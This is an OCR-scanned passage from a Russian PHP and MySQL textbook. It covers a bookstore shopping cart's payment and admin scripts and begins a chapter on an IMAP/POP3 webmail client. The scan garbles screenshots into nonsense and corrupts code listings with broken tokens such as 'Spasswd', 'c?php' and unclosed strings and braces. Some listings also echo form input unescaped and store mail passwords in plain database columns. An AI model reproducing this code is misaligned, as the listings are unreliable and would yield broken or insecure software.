Очевидно, что этот код отличается от применяемого в функции insert order (). После создания соединения с MySQL включается режим автоматического сохранения транзакций (autocommit). Это гарантирует автоматическое сохранение результатов выполнения любого SQL-оператора. Однако если необходимо выдать целую после- довательность взаимосвязанных SQL-операторов в виде единственной транзакции, потребуется отключить режим autocommit, выполнить серию вставок, сохранить данные и вновь включить режим autocommit. Затем определяется стоимость доставки по адресу клиента, которая выводится на экран с помощью следующей строки кода: display_shipping (calculate_shipping_cost ()) ; Код вычисления стоимости доставки, оформленный в виде функции calculate shipping cost (), всегда возвращает значение $20. На реальном сайте, реализующем онлайновую торговлю, потребуется предоставить клиенту выбор спо- соба доставки, подсчитать затраты на доставку по различным адресам и соответст- вующим образом вычислить стоимость доставки. Далее отображается форма для ввода клиентом данных о кредитной карточке с помощью функции display_card_form() из библиотеки output fns .php. Реализация платежа Когда клиент щелкает на кнопке Purchase, с помощью сценария process .php об- рабатываются данные, касающиеся платежа. Результаты успешного выполнения пла- тежной операции показаны на рис. 28.10. Окончательный расчет Товар Цена Количество Всего j Hr' m-4 MvS-X Wst автор Luke Welling and Laura Thomson $49 99 1 $49 99 S yns Teach Y^rs., * PHt 1 in 24 H-./jfj, автор Matt Zandstra S24 99 1 $24 99 I 2 $74.98 | Доставка 20.00 I ВСЕГО, ВКЛЮЧАЯ ДОСТАВКУ $94.98 Спасибо за то, что воспользовались нашим сайтом для совершения Покупок Ваш заказ размещен Рис. 28.10. Транзакция успешно завершена, и товар будет доставлен по указанному адресу Код сценария process .php можно найти в листинге 28.16. Листинг 28.16. process .php — этот сценарий обрабатывает платеж и выводит его результаты <?php / / Включить наш набор функций require (’book_sc_fns.php’); 596 Часть V. Реальные проекты на РНР и MySQL
// Для покупательской тележки необходимо запустить сеанс session_start(); do_html_header("Окончательный расчет"); // Создать короткие имена переменных $card_type = $_POST Г'card_type’]; $ card_number = $_POST [' card__number' ] ; $card_month = $_POST[’card_month']; $card_year = $_POST['card_year']; $card_name = $_POST[’card_name’]; if ($_SESSION['cart'] && $card_type && $card_number && $card_month && $card_year && $card_name) { // Вывести тележку без изображений товара и не разрешая изменения display_cart($_SESSION[’cart’], false, 0); display_shipping(calculate_shipping_cost()); if (process_card($_POST)) { // Очистить покупательскую тележку session_destroy() ; echo "<р>Спасибо за то, что воспользовались нашим сайтом для совершения покупок. Ваш заказ размещен.</р>"; display_button("index.php", "continue-shopping", "Продолжить покупки"); } else { echo "<р>Невозможно обработать вашу кредитную карточку. Пожалуйста, свяжитесь с выдавшей ее организацией либо повторите ввод.</р>"; displayjDutton("purchase.php", "back", "Назад"); } } else { echo "<р>Вы заполнили не все поля. Пожалуйста, повторите попытку.</p><hr />"; display_button("purchase.php", "back", "Назад"); } do_html_footer(); ?> Мы обрабатываем данные о кредитной карточке, предоставленные клиентом, и в случае, если все завершается успешно, уничтожаем сеанс клиента. В нашем упрощенном примере функция обработки данных кредитной карточки просто возвращает значение true. Если быть точнее, сначала необходимо предусмот- реть набор проверок на допустимость (в том числе, проверку, не истек ли срок дей- ствия кредитной карточки, а также корректность введенного номера карточки), и только затем переходить к собственно совершению платежа. На реальном сайте потребуется принять решение, какой механизм транзакций бу- дет использоваться. Существуют следующие возможности. Заключить договор с поставщиком расчетных (клиринговых) транзакций. Здесь имеется множество альтернатив, зависящих от региона, в котором вы прожи- ваете. Некоторые поставщики предлагают клиринговые услуги в реальном вре- мени. Необходимость в таких операциях зависит от услуг, предлагаемых вашим сайтом. Если вы осуществляете обслуживание в онлайновом режиме, то, скорее Глава 28. Разработка покупательской тележки 597
всего, возможность совершения платежей в реальном времени вам понадобит- ся. В том случае, если вы обеспечиваете только продажу и доставку некоторых товаров, это менее важно. В любом случае, поставщики клиринговых транзак- ций освобождают вас от довольно-таки неприятной ответственности за хране- ние номеров кредитных карточек. Отправлять номера кредитных карточек себе самому в зашифрованных сооб- щениях электронной почты, например, с использованием PGP (Pretty Good Privacy) или GPG (Gnu Privacy Guard), как упоминалось в главе 18. После получе- ния и дешифрации таких сообщений транзакции можно обрабатывать вручную. Хранить номера кредитных карточек в своей базе данных. Мы настоятель- но не рекомендуем прибегать к этому методу, если вы не уверены, что долж- ным образом обеспечили высочайшую степень защищенности своей системы. Дополнительную информацию об этой не слишком хорошей идее можно по- черпнуть в главе 18. На этом обзор модулей, реализующих концепции покупательской тележки и пла- тежей, завершен. Реализация интерфейса администрирования Планируемая в этом проекте реализация интерфейса администрирования доста- точно проста. Она сводится к построению Web-интерфейса взаимодействия с базой данных, в котором применяется входная аутентификация. По большому счету, в ос- новном применяется код, написанный в главе 27. Для полноты картины мы включи- ли этот код и в данную главу, снабдив его попутно небольшими комментариями. Интерфейс администрирования требует, чтобы пользователь входил в систему через сценарий login.php, который будет выводить меню администрирования с по- мощью сценария admin.php. Страница входа в систему показана на рис. 28.11. (Для краткости мы опустили файл login.php, поскольку он почти полностью повторяет одноименный файл из главы 27. Кроме того, сценарий login.php можно найти в за- гружаемом коде.) Внешний вид меню администрирования показан на рис. 28.12. Код реализации меню администрирования представлен в листинге 28.17. Яе gdit View Hgtory §ookmarks Tools Help ” C ht^i/TtocdhostA^ys^/ZSjfogri.php Всего книг Общая сумма = SO OO Администрирование Имялользоватепя Пароль ‘v i Войти Рис. 28.11. Для доступа к функциям администрирования пользователь должен пройти через страницу входа в систему 598 Часть V. Реальные проекты на РНР и MySQL
He Edit йеж Hgtory gpotaarks I Hdp * C X 1 Book-O-Rama Администрирование Пеоейтн на основной сайт Добавить новую категорию Добавить новую книгу Изменить пароль администратора Рис. 28.12. Меню администрирования предоставляет доступ к набору функций администрирования Листинг 28.17. admin.php — этот сценарий выполняет аутентификацию администратора и предоставляет ему доступ к функциям администрирования <?php // Включить библиотеки функций для этого приложения require_once('book_sc_fns.php'); session_start(); if ($_POST['username'] && $_POST['passwd']) { // Пользователь только что попытался войти в систему $username = $_POST['username']; Spasswd = $_POST['passwd']; if (login($username, Spasswd)) { // Если пользователь записан в базе данных, зарегистрировать его идентификатор $_SESSION['admin_user'] = Susername; } else { // Неудачный вход в систему do_html_header('Проблема:'); echo "<р>Вход в систему невозможен.<Ьг /> Для просмотра этой страницы необходимо войти в систему.</р>"; do_html_url("login.php", "Вход"); do_html_footer(); exit; } do_html_header("Администрирование"); if (check_admin_user()) { display_admin_menu(); } else { echo "<р>У вас нет прав для доступа на страницу администрирования.</р>"; } do_html_footer(); ?> Глава 28. Разработка покупательской тележки 599
Этот код сильно напоминает один из сценариев в главе 27. Как только администра- тор достигает этой точки, он может изменять свой пароль либо выходить из системы — данный код идентичен таковому из главы 27, поэтому здесь он не рассматривается. Идентификация пользователя-администратора после входа в систему осуществля- ется через переменную сеанса admin user и функцию check admin user (). Эта и другие функции, используемые сценариями администрирования, содержатся в биб- лиотеке admin_f ns. php. Когда администратору требуется добавить новую категорию или книгу, вызывается либо сценарий insert_category_form.php, либо сценарий insert_book_form.php. Каждый сценарий предоставляет администратору форму для заполнения. Формы обрабатываются соответствующими сценариями (insert category. php и insert_book.php), которые проверяют форму на предмет заполнения и сохраняют новую информацию в базе данных. Давайте рассмотрим только сценарии, связанные с добавлением книги, поскольку обе пары сценариев отличаются друг от друга лишь незначительно. Вывод сценария insert book form.php показан на рис. 28.13. Не ©it Higtnry ©oakmarks JooSs ydp i 1 ; ht^:/fca^sVpbpmys^/28ATsert_book_form,php Добавление новой книги ISBN: Название: Автор- Категория. Интернет Цена: Описание: L Добавитькнигу ; Рис. 28.13. Эта форма позволяет администратору добавлять в онлайновый каталог новые книги Вы наверняка заметили, что поле Категория представляет собой HTML-элемент SELECT. Опции для этого элемента получаются в результате вызова ранее рассмотрен- ной функции get_categories (). В результате щелчка на кнопке Добавить книгу запускается сценарий insert_book.php, код которого показан в листинге 28.18. Часть V. Реальные проекты на РНР и MySQL % 600
Листинг 28.18. insettjbook.php — этот сценарий проверяет допустимость данных, введенных для новой книги, и помещает их в базу данных <?php // Включить библиотеки функций для этого приложения require_once('book_sc_fns.php’); session_start(); do_html_header("Добавление книги"); if (check_admin_user()) { if (filled_out($_POST)) { $isbn = $_POST['isbn']; $title = $_POST['title’]; $author = $_POST[’author’]; $catid = $_POST[’catid']; $price = $_POST[’price']; $description = $_POST['description']; if(insert_book ($isbn, $title, $author, $catid, $price, $description)) { echo "<р>Книга <em>".stripslashes($title)."</em> добавлена в базу данных.</p>"; } else { echo "<р>Книга <em>".stripslashes($title). "</em> не может быть добавлена в базу данных.</р>"; } } else { echo "<р>Вы заполнили не все поля формы. Пожалуйста, повторите попытку.</р>"; } do_html_url('admin.php', 'Назад в меню администрирования'); } else { echo "<р>У вас нет прав для доступа на страницу администрирования.</р>"; do_html_footer(); Легко заметить, что этот сценарий вызывает функцию insert book (). Эта и дру- гие функции, используемые сценариями администрирования, содержатся в библио- теке admin_fns .php. Помимо добавления новых категорий и книг, пользователь с правами админист- ратора может редактировать и удалять эти элементы. При реализации упомянутой функциональности мы постарались повторно использовать максимально возможный объем кода. Когда администратор выполняет щелчок на ссылке Перейти на основ- ной сайт в меню администрирования, выводится индекс категорий (с помощью рас- смотренного ранее сценария index.php). После этого администратор может выполнять навигацию по сайту так же, как и рядовой посетитель. При этом задействуются те же самые сценарии. Однако с навигацией администратора связаны некоторые отличия. Для него вы- водятся особые опции, связанные с тем, что зарегистрирована переменная сеанса admin user. Например, на рассмотренной ранее странице show book.php будут за- метны отличия в меню опций, что можно видеть на рис. 28.14. Глава 28. Разработка покупательской тележки 601
PHP and MySQL Web Development • •. • Автор: Luke Wetting and Laura Thomson . PHPamlMyW • ISBN: 0672317842 > , 'I • Наша цена: 49.99 ' "* • • Аннотация: В книге "РНР & MySQL Web Development" рассказывается, как • создавать динамические и защищенные веб-сайты электронной коммерции ,► Жн Вы научитесь интегрировать и реализовывать эти технологии, выполняя *! X» действующие примеры и разрабатывая целые проекты Done Рис. 28.14. Вывод сценария show book.php для администратора отличается от вывода для рядового посетителя На этой странице администратору предоставляются две дополнительные опции: Edit Item (Редактировать элемент) и Admin Menu (Меню администрирования). Кроме того, в правом верхнем углу вместо кнопки вызова покупательской тележки находит- ся кнопка Log Out (Выход). Все это реализуется с помощью следующего фрагмента кода, который взят из лис- тинга 28.8: ’ if(check_admin_user()) { display_button("edit_book_form.php?isbn=".$isbn, "edit-item", "Редактировать элемент"); display_button("admin.php", "admin-menu", "Меню администрирования"); display_button($target, "continue", "Продолжить"); } Если вновь вернуться к сценарию show cat .php, можно заметить, что в нем так- же присутствуют данные опции. Когда администратор выполняет щелчок на кнопке Edit Item, запускается сцена- рий edit—book form.php. Вывод этого сценария показан на рис. 28.15. Фактически это та же форма, что ранее использовалась для извлечения данных, связанных с книгой. Просто мы встроили в нее возможность передачи и отображе- ния существующих сведений о книге. То же самое было выполнено и в отношении формы просмотра категорий. Все только что сказанное отражено в листинге 28.19. 602 Часть V. Реальные проекты на РНР и MySQL
ф Редактирование сведений о книге-Mozitta Firefox ; Не Edit jftew History gookmarks Tools Help Редактирование сведений о книге ISBN. 0672317842 Название: РНР and MySQL Web С Автор Luke Wetting and Laura j Категория Интернет ▼ Цена. 49.99 В книге "РНР & MySQL Web Development" Описание рассказывается, как создавать динамические и защищенные веб-сайты электронной коммерции. Вы научитесь- интегрировать и реализовывать эти Обновить книгу Удалить книгу i Назад в меню администрирования Done Рис. 28.15. Сценарий edit book form.php дает администратору возможность редактировать информацию о книге и удалять книгу Листинг 28.19. Функция display_book_fопп() из библиотеки admin_fns .php — эта функция имеет двойное назначение, выводя формы вставки и редактирования информации о книге function display_book_form($book = ' ') { / / Отображает форму для книги. // Эта форма во многом подобна форме для категорий. // Форма может применяться для вставки и редактирования информации о книге. // Для вставки передавать параметр не нужно. В результате $edit // получит значение false и форма вызовет сценарий insert_book.php. // Для обновления данных следует передать массив, содержащий данные о книге. // Форма отобразит предыдущие данные и кнопку, приводящую к вызову update_book.php. // Кроме того, добавляется кнопка удаления книги. // Если передается существующая книга, перейти в "режим редактирования" $edit = is_array($book); / / Большая часть формы представляет собой простой HTML-код //с небольшими вставками РНР-кода. ?> <form method="post" action="<?php echo $edit ? 'edit_book.php’ : 'insert_book.php' ; ?>"> <table border="0"> <tr> <td>ISBN:</td> <tdxinput type="text" name="isbn" value="<?php echo $edit ? $book [' isbn' ] : ' ?>" /></td> </tr> Глава 28. Разработка покупательской тележки 603
<tr> <Ёс1>Название: </td> ctdxinput type="text" name="title" value="<?php echo $edit ? $book['title ' ] : ''; ?>" /></td> </tr> <tr> <td>ABTop:</td> ctdxinput type="text" name="author" value="<?php echo $edit ? $book['author' ] : ''; ?>" /x/td> </tr> <tr> <td>KaTeropn«:</td> <td> Cselect name="catid"> <?php // Прочитать из базы данных список возможных категорий $cat_array = get_categories(); foreach ($cat_array as $thiscat) { echo "Coption value=\"".$thiscat['catid'; // Если книга существует, поместить ее в текущую категорию if (($edit) && ($thiscat[’catid'] == $book['catid'])) { echo " selected"; } echo ">".$thiscat['catname']."С/option>"; } ?> c/select> c/td> c/tr> ctr> ctd>UeHa:c/td> Ctdxinput type="text" name="price" value="c?php echo $edit ? $book['price' ] : ''; ?>" /x/td> c/tr> ctr> ctd>OnncaHne:c/td> ctdxtextarea rows="3" cols="50" name="description"> c?php echo $edit ? $book['description' ] : ''; ?> C/textareaX/td> C/tr> ctr> Ctd c?php if (!$edit) { echo "colspan=2"; }?> align="center"> c?php if ($edit) { // Если был обновлен номер ISBN, для поиска книги // в базе данных понадобится старый номер ISBN echo "cinput type=\"hidden\" name=\"oldisbn\" value=\"" . $book['isbn']./>"; } ?> cinput type="submit" value="c?php echo $edit ? 'Обновить':'Добавить'; ?> книгу " /> c/td> 604 Часть V. Реальные проекты на РНР и MySQL
<?php if ($edit) { echo "<td> <form method=\"post\" action=\"delete_book.php\"> <input type=\"hidden\" name=\"isbn\" value=\"".$book['isbn’]."\" /> cinpitt type=\"submit\" value=\,,Удaлить книгу\"/> </form></td>"; } ?> </td> </tr> </table> </form> <?php } Если передается массив, содержащий данные о книге, форма переводится в ре- жим редактирования, а поля заполняются существующими данными: <input type="text" name="price" value="<?php echo $edit ? $book['price'] : '?>" /> При этом используется даже другая кнопка отправки формы. Фактически, на форме редактирования их две — одна для обновления информации о книге, а вто- рая— для удаления книги целиком. С этими кнопками связаны вызовы сценариев edit book.php и delete book.php, которые соответствующим образом обновляют базу данных. Версии рассмотренных выше сценариев, связанные с категориями, работают в ос- новном идёнтично, за исключением одного момента. Когда администратор пытается удалить категорию, этого не произойдет, пока категория содержит книги. (Это про- веряется путем отправки запроса в базу данных.) В таком случае минимизируется ве- роятность ошибочного удаления, как упоминалось в главе 8. В нашей ситуации, если удалить категорию, которая содержит книги, эти книги станут висячими. Переход к ним будет невозможен, поскольку с данными книгами не связана ни одна категория. На этом обзор интерфейса администрирования завершается. За дополнительны- ми сведениями обращайтесь к загружаемому коду. Расширение проекта Если вы четко следовали всем приведенным выше инструкциям, то сейчас распо- лагаете достаточно простой системой покупательской тележки. Разумеется, есть мно- гочисленные расширения и усовершенствования проекта, проделав которые можно существенно улучшить приложение в целом. В реальном онлайновом магазине должна быть предусмотрена система отсле- живания и выполнения заказов. В данный момент мы не имеем какой-либо воз- можности просматривать размещенные заказы. Клиентам должна быть доступна возможность проверять обработку своих заказов без необходимости связываться с владельцем магазина. Мы считаем важным, что посетителю для ознакомления с предложением товара не приходится входить в систему. Тем не менее, реализация для существующих клиентов некоторого ме- Глава 28. Разработка покупательской тележки 605
тода аутентификации даст им возможность просматривать ранее размещенные заказы, а администратору — объединять стили поведения в профили. В настоящее время необходимо пересылать по FTP изображения обложек книг в каталог изображений и присваивать им надлежащие имена. Чтобы хоть не- много упростить этот процесс, можно добавить на страницу вставки книг функ- цию загрузки файла. Можно добавить механизм входа пользователей, персонализацию, систему вы- дачи рекомендаций по книгам, онлайновые обзоры, сопутствующие програм- мы, проверку складских запасов и многое другое. Возможности практически не ограничены. Использование существующей системы Если вы хотите получить приложение покупательской тележки с богатыми функ- циональными возможностями и высоким быстродействием, возможно, стоит восполь- зоваться какой-нибудь существующей системой. Одна из широко известных систем тележек с открытым исходным кодом, реализованная на языке РНР, носит название FishCartSQL и доступна для свободной загрузки по адресу: http://www.fishcart.org/ Эта система располагает множеством расширенных функций, к числу которых от- носятся: отслеживание клиентов, ограниченные по времени продажи, поддержка не- скольких языков, обработка кредитных карточек и поддержка нескольких онлайновых магазинов на одном сервере. Естественно, в существующей системе всегда что-то мо- жет показаться излишним, а чего-нибудь может не хватать. Преимущество продукта с открытым исходным кодом состоит в возможности вносить любые изменения в код. Что дальше В следующей главе будут рассматриваться вопросы построения веб-интерфейса, позволяющего получать и отправлять электронную почту с использованием IMAP. 606 Часть V. Реальные проекты на РНР и MySQL
29 Разработка службы веб-почты В настоящее время сайты все чаще и чаще начинают предоставлять пользовате- лям услуги электронной почты, основанной на Веб. В этой главе мы рассмот- рим, как реализовать веб-интерфейс с существующим почтовым сервером с исполь- зованием PHP-библиотеки IMAP. С помощью созданного интерфейса можно будет просматривать содержимое собственного почтового ящика на веб-страйице. Кроме того, проект можно расширить и получить, в конечном счете, многопользователь- скую почтовую веб-систему наподобие GMail, Yahoo! Mail и Hotmail. В рамках этого проекта мы планируем разработать почтовый клиент “Свежая поч- та” (“Warm Mail”), который предложит пользователям следующие функциональные возможности. Подключение к своим учетным записям на почтовых серверах POP3 или IMAP. Чтение сообщений электронной почты. Отправка сообщений электронной почты. Отправка ответов на сообщения электронной почты. Переадресация сообщений электронной почты. Удаление сообщений из своего почтового ящика. Компоненты решения Для того чтобы обеспечить пользователю возможность чтения сообщений электрон- ной почты, необходимо найти способ подключения к соответствующему почтовому сер- веру. Обычно почтовый сервер содержится на той же машине, что и веб-сервер. Мы должны наладить взаимодействие с почтовым ящиком пользователя, чтобы просматри- вать список принятых сообщений и индивидуально обрабатывать каждое из них. Почтовые протоколы: POP3 и IMAP Для чтения сообщений из пользовательских почтовых ящиков почтовые серверы поддерживают два основных протокола: POP3 и IMAP. По возможности, в проекте потребуется реализовать поддержку обеих протоколов. Аббревиатура POP3 означает Post Office Protocol (Почтовый протокол) версии 3, a IMAP — Internet Message Access Protocol (Протокол доступа к Интернет-сообщениям). Глава 29. Разработка службы веб-почты 607
Основное отличие между упомянутыми протоколами заключается в том, что POP3 предназначен и обычно применяется пользователями, которые подключаются к сети на довольно короткое время с целью загрузки и удаления сообщений электронной почты из сервера. Протокол IMAP ориентирован на применение в режиме посто- янного подключения к сети, и служит для постоянного взаимодействия с почтовой службой, поддерживаемой на удаленном сервере. Протокол IMAP обладает рядом усо- вершенствованных возможностей, которые в настоящем проекте не задействованы ввиду его учебного характера. Различия между протоколами исчерпывающе описаны в RFC-документах (RFC 1939 для POP3 и RFC 3501 для IMAP 4 revl). Кроме того, по приведенному ниже адресу можно найти прекрасную статью со сравнительным анализом протоколов: http://www.imap.org/papers/imap.vs.pop.brief.html Ни один из упомянутых протоколов не предназначен для отправки почты — для этого необходимо применять протокол SMTP (Simple Mail Transfer Protocol — про- стой протокол передачи электронной почты), которым мы ранее пользовались в рам- ках PHP-кода, когда вызывали функцию mail (). Этот протокол описан в документе RFC 821. Поддержка POP3 и IMAP в РНР В РНР реализована обширная поддержка протоколов IMAP и POP3, и предостав- ляется она через библиотеку функций IMAP. Для того чтобы можно было эффектив- но выполнять код, представленный в этой главе, потребуется установить библиотеку IMAP. Вы можете узнать, установлена ли эта библиотека в системе, внимательно про- смотрев информацию, которую выводит функция phpinfo (). Если вы работаете в среде Linux или Unix и библиотека IMAP не установлена, потребуется загрузить необходимые библиотеки. Последняя версия доступна на FTP- сайте по следующему адресу: ftp://ftp.сас.Washington.edu/imap/ В Unix-системе вы должны выгрузить исходный код и скомпилировать его для своей операционной системы. Далее потребуется создать каталог для файлов IMAP внутри системного включае- мого каталога с именем, скажем, imap. (Не копируйте файлы IMAP непосредствен- но в системный включаемый каталог, поскольку это может привести к конфликтам.) Внутри созданного каталога создайте два подкаталога imap/lib/ и imap/include/. Скопируйте все файлы *.h из места инсталляции в imap/include/. После ус- пешной компиляции будет создан файл c-client.a. Переименуйте это файл на libc-client.а и скопируйте его в imap/lib/. После этого необходимо запустить PHP-сценарий конфигурирования, добавив ди- рективу —with-imap=dirname (где dirname — имя созданного вами ранее каталога) к набору директив, используемых в вашей системе, и перекомпилировать РНР. Для доступа к расширению IMAP под Windows потребуется открыть файл php. ini и удалить символ комментария в строке: extension=php_imap.dll После этого следует перезапустить веб-сервер. 608 Часть V. Реальные проекты на РНР и MySQL
Проверить, установлено ли расширение IMAP, можно с помощью функции phpinfo(). В выводе этой функции должен присутствовать раздел, касающийся IMAP. Очень интересно отметить, что IMAP-функции, несмотря на свое название, оди- наково хорошо взаимодействуют как с протоколом POP3, так и с протоколом NNTP (Networks News Transfer Protocol — протокол передачу сетевых новостей). Мы будем пользоваться IMAP-функциями для протоколов IMAP и POP3, тем не менее, приложе- ние “Свежая почта” можно очень просто расширить, превратив его в средство чте- ния сетевых новостей по протоколу NNTP. Эта библиотека содержит очень много функций, но для данного приложения по- требуется обращаться лишь к нескольким из них. Функции будут рассматриваться в процессе их использования. Если вы преследуете иные цели либо вам необходимо реализовать в рамках приложения дополнительные функциональные возможности, стоит обратиться к документации. Можно построить довольно эффективное почтовое приложение, воспользовав- шись лишь частью встроенных функций. Это означает, что достаточно проработать лишь небольшую часть документации. Ниже перечислены IMAP-функции, которые задействуются в данной главе: imap_open() imap_close() imap—headers() imap—header() imap_fetchheader() imap_bddy() imap—delete() imap_expunge() Для того чтобы пользователь смог читать сообщения электронной почты, не- обходимо получить информацию о его почтовом сервере и учетной записи. Чтобы пользователю не приходилось вводить эти сведения каждый раз, для их хранения мы планируем создать базу данных имен пользователей и паролей. Часто пользователи имеют более одной учетной записи электронной почты (на- пример, одну для домашней переписки и одну — для рабочей). Стало быть, потребу- ется предоставить пользователям возможность подключения к любой своей учетной записи. Таким образом, мы должны обеспечить хранение в базе данных нескольких наборов сведений об учетных записях для каждого пользователя. Пользователи должны иметь возможность читать сообщения, отвечать на них, пе- ресылать и удалять существующие сообщения, а также отправлять новые. Все функ- ции чтения можно возложить на протоколы IMAP и POP3, а операции отправки — на протокол SMTP, активизируемый функцией mail (). Давайте рассмотрим, как объединить все составляющие проекта. Обзор решения Общая схема почтовой системы, основанной на Веб, не особенно отличается от других почтовых клиентов. Блок-схема системы и ее модулей показана на рис. 29.1. Глава 29. Разработка службы веб-почты 609
Рис. 29.1. Интерфейс приложения “Свежая почта” предоставляет пользователю функциональность уровня почтового ящика и уровня сообщений Как видно из диаграммы, сначала пользователь должен войти в систему, а затем ему предоставляется список опций. Пользователь может создать новую учетную за- пись либо выбрать для использования одну из существующих. Кроме того, пользова- тель может просматривать входящие сообщения, отвечать на них, переадресовывать, удалять, а также отправлять новые сообщения. Помимо этого пользователю доступна опция просмотра заголовков с дополнитель- ной информацией, которые связаны с определенным сообщением. Просмотр всех за- головков позволяет многое узнать о сообщении. Через заголовки можно определить, с какого компьютера было отправлено сообщение электронной почты; понятно, что это весьма удобное средство отслеживания нежелательных сообщений (спама). Опять-таки, можно узнать, какие машины пересылали сообщение и время его поступления на каж- дый хост — это удобно для предъявления претензий по поводу задержки сообщений. Кроме того, если приложение добавляет в заголовки дополнительную информацию, можно определить, каким почтовым клиентом пользовался отправитель. В этом проекте мы разработали слегка отличающуюся архитектуру приложения. Вместо набора сценариев, по одному для каждого модуля, используется сценарий больших размеров, index.php, который функционирует подобно циклу обработки событий программы с графическим интерфейсом пользователя. Каждое действие на сайте, вызванное щелчком на кнопке, возвращает управление сценарию index.php, но со своим параметром. В зависимости от параметра вызываются различные функ- ции, которые обеспечивают вывод пользователю необходимого содержимого. Как обычно, функции содержатся в библиотеках. Такая архитектура пригодна для небольших приложений вроде данного. Это мо- гут быть приложения, управляемые событиями, когда определенные функции запус- каются действиями пользователя. Организация единственного обработчика событий не очень удобна для крупных приложений либо проектов, разрабатываемых группой программистов. 610 Часть V. Реальные проекты на РНР и MySQL
Перечень файлов проекта “Свежая почта” представлен в табл. 29.1. Таблица 29.1. Файлы приложения "Свежая почта” Имя Тип Описание index.php Приложение Главный сценарий, реализующий приложение в целом. include_fns.php Функции Набор включаемых файлов приложения. data_valid_fns.php Функции Набор функций проверки допустимости вводимых данных. db_fns.php Функции Набор функций подключения к базе данных mail. mail_fns.php Функции Набор связанных с электронной почтой функций для открытия почтовых ящиков, чтения сообщений и прочих действий. output_fns.php Функции Набор функций для вывода HTML-содержимого. user_auth_fns.php Функции Набор функций аутентификации пользователей. create_database.sql SQL SQL-код создания базы данных mail и регистрации пользователей. А сейчас перейдем к обзору приложения. Создание базы данных База данных для приложения “Свежая почта” достаточно проста, поскольку мы не планируем хранить в ней сами сообщения электронной почты. Все что необходимо хранить, так это сведения о пользователях системы. Для каж- дого пользователя должны существовать перечисленные ниже поля. username — выбранное пользователем имя для приложения “Свежая почта”. password — выбранный пользователем пароль. address — указанный пользователем адрес электронной почты, который будет отображаться в поле “From” (“От”) сообщений, отправляемых из системы. displayname — “читабельное” имя, выбранное пользователем для отображения в отправляемых сообщениях. Кроме того, потребуется хранить следующие данные каждой учетной записи. use г name — имя пользователя приложения “Свежая почта”, которому принадле- жит учетная запись. server — машина, на которой размещена учетная запись, например, localhost, mail. tangledweb. com.au или какой-то другой домен. port — порт, к которому выполняется подключение с использованием данной учетной записи. Обычно для РОРЗ-серверов применяется номер порта ПО, а для IMAP-серверов — 143. type ~ протокол, используемый для подключения к данному серверу — POP3 или IMAP. remoteuser — имя пользователя для подключения к почтовому серверу. account id — уникальный ключ для идентификации учетных записей. Глава 29. Разработка службы веб-почты 611
Для создания базы данных служит SQL-запрос, показанный в листинге 29.1. Листинг 29.1. create database. sql — SQL-запрос для создания почтовой базы данных mail create database mail; use mail; create table users ( username char(16) not null primary key, password char(40) not null, address char(100) not null, displayname char(100) not null ) ; create table accounts ( username char(16) not null, server char (100) not null, port int not null, type char (4) not null, xemoteuser char(50) not null, remotepassword char(50) not null, accountid int unsigned not null auto_increment primary key grant select, insert, update, delete on mail.* to mail@localhost identified by ’password'; He забывайте, что этот SQL-запрос выполняется с помощью следующей команд- ной строки: mysql' -u root -р < create_database. sql Кроме того, потребуется ввести свой пароль привилегированного пользователя (root). Перед выполнением запроса необходимо изменить пароль пользователя поч- товой службы в файлах create_database.sql и db_fns .php. В каталог для данной главы загружаемого кода дополнительно помещен файл populate.sql. В этом приложении мы не собираемся реализовывать процесс регист- рации пользователей либо администрирования. В том случае, если планируется круп- номасштабное использование приложения, это можно сделать самостоятельно. Для личного применения достаточно будет ввести в базу данных свои данные. Сценарий populate. sql предоставляет для этого шаблон. Чтобы стать пользователем, можно ввести в соответствие с этим шаблоном свои данные и запустить populate, sql на выполнение. Архитектура сценария Как уже упоминалось ранее, в этом приложении всем управляет один единствен- ный сценарий — index.php. Его код приведен в листинге 29.2. Поскольку сценарий довольно-таки длинный, мы последовательно рассмотрим все его разделы. 612 Часть V. Реальные проекты на РНР и MySQL
Листинг 29.2. index.php — основа Системы “Свежая почта” <?php // Этот файл служит основой приложения "Свежая почта". //Он функционирует, главным образом, как конечный автомат, //и генерирует для пользователей вывод в зависимости от // выполняемых ими действий. /у**************************************************************************** // Этап 1. Предварительная обработка // Выполнение всех необходимых операций перед отправкой заголовка // страницы и выбор информации, отображаемой в заголовках страницы I f-k *************************************************************************** include ('include_fns.php'); session_start(); // Создать короткие имена переменных $username = $_POST['username’]; $passwd = $_POST['passwd']; $action = $_REQUEST['action'] ; $account = $_REQUEST['account']; $messageid = $_GET['messageid']; $to = $_POST['to']; $cc = $_POST['cc']; $subject = $_POST['subject; $message = $_POST[’message']; $buttons = array(); // Добавлять к этой строке, если что-то выполняется перед выводом заголовка $status = ' '; // Необходимо сначала обработать запросы на вход и выход из системы if($username I I $password) { if(login($username, $passwd)) { $status .= "<p style=\"padding-bottom: 100рх\">Вы успешно вошли в систему.</р>"; $_SESSION['auth_user'] = $username; if(number_of_accounts($_SESSION[’auth_user']) == 1) { $accounts = get_account_list($_SESSION['auth_user’]) $_SESSION[’selected_account’] = $accounts[0]; } } else { $status .= "<p style=\"padding-bottom: 100px\"> Извините,'вход в систему с данным именем пользователя и паролем невозможен.</р>"; } } if($action== 'log-out') { session_destroy(); unset($action); $_SESSION = array(); } // Перед отображением заголовка необходимо обработать запросы //на выбор, удаление и сохранение учетных записей Глава 29. Разработка службы веб-почты 613
switch ($action) { case 'delete-account': delete_account($_SESSION['auth_user'], $account); break; case 'store-settings': store_account_settings($_SESSION['auth_user'], $_POST); break; case 'select-account': // Если выбрана допустимая учетная запись, // сохранить ее в переменной сеанса if(($account) && (account_exists($_SESSION['auth_user’], $account))) { $_SESSION['selected_account'] = $account; } break; } // Создать кнопки, которые будут выводиться в панели инструментов $buttons[0] = 'view-mailbox'; $buttons[l] = 'new-message'; $buttons[2] = 'account-setup'; // Кнопка выхода из системы нужна, только если был совершен вход if(check_auth_user()) { $buttons[4] = 'log-out'; } //**************************************************************************** // Этап 2. Формирование заголовков // Отправка HTML-заголовков и строки меню, соответствующих текущему действию /у**************************************************************************** if($action) { // Вывести заголовок с названием приложения и описанием страницы или действия do_html_header($_SESSION['auth_user’], "Свежая почта - ". format_action($action), $_SESSION['selected_account' ]) ; } else { // Вывести заголовок с одним лишь названием приложения do_htmljheader($_SESSION['auth_user'], "Свежая почта", $_SESSION['selected_account']); } display_toolbar($buttons); //**************************************************************************** // Этап 3. Тело обработчика пользовательских действий // Отображает соответствующее основное содержимое в зависимости от действия //**************************************************************************** // Вывести любой текст, сгенерированный функциями, // которые вызваны до отображения заголовка echo $status; if(!check_auth_user()) { echo "<р>Вы должны сначала войти в систему"; if(($action) && ($action!='log-out') { echo " и затем переходить на 